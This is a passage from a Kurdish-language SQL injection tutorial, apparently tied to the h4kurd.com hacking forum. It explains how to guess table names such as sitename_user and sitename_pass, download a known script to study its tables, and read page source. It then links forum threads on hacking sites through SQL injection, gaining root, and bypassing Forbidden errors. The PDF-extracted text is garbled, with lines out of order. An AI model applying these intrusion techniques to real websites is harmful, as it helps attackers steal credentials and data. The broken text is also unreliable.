مهزهندهكردن تخمين دايدهنێين واتا يهك يهك تاقی دهكهينهوه بهاڵم<br />
ڕيگهی تر ھهيه بۆ ئاسانكاری له كاتی تاقی كردنوهی تهيبڵهكان<br />
ھهندێجار ھهيه سكريپت تايبهته به بابهتێك وهک<br />
بۆيه ئاسايه ئهگهر ناوی تهيبڵهكان ببێته<br />
.<br />
sound<br />
sound_user<br />
سكريپتی دهنگی<br />
sound_pass ,<br />
يان ئهگهر سكريبتهكه ناسراو بوو ئهوه ھهڵسه به دابهزاندنی سكريپتهكه<br />
لهسهر كۆمپيوتهرهكهت تهماشای تهيبڵهكان بكه بۆ دۆزينهوهيان<br />
وه ئهگهر سكريپتهكه نهناسراو بوو ئهوه دهتوانی بگهڕێ له<br />
به دوای ھهمان سكريپت بهاڵم لهسهر ڤێرژنی ئيشبكات وهك له خاڵی<br />
5 هم باسم كرد ئهوكات بهئاسانی تهيبڵهكان بدۆزهوه.<br />
google<br />
5<br />
admin<br />
view source<br />
بدۆزهوه<br />
وه ئهگهر ھهرسهركهوتوو نهبووی ئهوه الپه<br />
بكه<br />
كليكی الی ڕاست بكه پاشان كليك لهسهر<br />
تهماشای كۆدهكان بكه لهوێ زۆرجارزانيارى بةسوود دهنوسرێ<br />
يان ھهلسه به تاقی كردنه<br />
ئهگهر سايتهكه ناوی<br />
بنووسه<br />
h4kurd.com<br />
ناوی سايتهكه و تهيبڵ وهك بۆ نموونه<br />
بوو ئهوه تهيبڵهكان بهم شيوهيه<br />
h4kurd_user<br />
h4kurd_pass<br />
.<br />
- 39 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
kurd<br />
يان ناوی داتابێزی وهرگره<br />
بوو ئهوه بهم شێوه لێبكه<br />
بۆ نموونه ئهگهر ناوی داتا بێزی<br />
kurd_user<br />
kurd_pass<br />
ئهو ڕيگهيه بۆ ئهو سكريپتانه زۆر سهركهوتووه كه بهتايبهت دوورست<br />
دهكرێ .<br />
--------------------------------<br />
بۆ زانينی چۆنيهتی دابهزاندنی سكريپت لهسهر كۆمپيوتهر وهتاقی<br />
كردنهی ھهڵهی sql inection به ڤيديۆ شيمكريتهوه چۆنيهتی دانانی<br />
سكريپت لهگهڵ بهرنامهی پێويست بهناوی دابهزاندنی سكريپت و<br />
بهرنامهی پێويست ).....<br />
)<br />
-------------------------------------------<br />
- 40 -<br />
@ @@ @
یوه<br />
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
بۆ زياتر زانياری دهتوانی سهردانی ئهو بهستهرانهی خوارهوهبكهيت<br />
<strong>SQL</strong> Helper<br />
http://h4kurd.com/h4kurd/thread-8812.html<br />
شيكرنهوه بهرنامهی<br />
چارهسهری پيشاننهدانی table<br />
له كاتی <strong>Injection</strong><br />
http://h4kurd.com/h4kurd/thread-9033.html<br />
سهرهتايهك بۆ فێربوونی ھاكی سايت له<br />
ڕێگهی sql injection<br />
http://h4kurd.com/h4kurd/thread-7970.html<br />
<strong>SQL</strong> ھهتا ھێنانی<br />
r00t<br />
http://h4kurd.com/h4kurd/thread-11332.html<br />
چارهسهركردنی Forbidden له <strong>Injection</strong><br />
http://h4kurd.com/h4kurd/thread-10729.html<br />
------------------------------------------------------------<br />
لهكۆتايی دا دهڵێم ئهو چهند دێرهی سهرهوه كورته پێناسهيكه ھێرشی<br />
بوو ھيوادارم سوودتان لێوهرگرتبی<br />
بێگومان ئهوهی نوسيومه بێھهڵه نيه بۆيه داوای ڵيبوردن دهكهم له<br />
ھهموو ھهڵهكان ئهو زانياريانه به گوێرهی تێگهيشتنی و تاقی كردنه<br />
خۆمه.<br />
---------------------------------------------<br />
<strong>SQL</strong> <strong>Injection</strong><br />
- 41 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
دوای ڵيبووردن له ھهموو ئهو كهسانه دهكهم كه زيا نێكی بچوكم<br />
پێگهياندبی چ بهبێ ھۆ يان له ئهنجامی كاردانهوه .<br />
- 42 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
- 43 -<br />
@ @@ @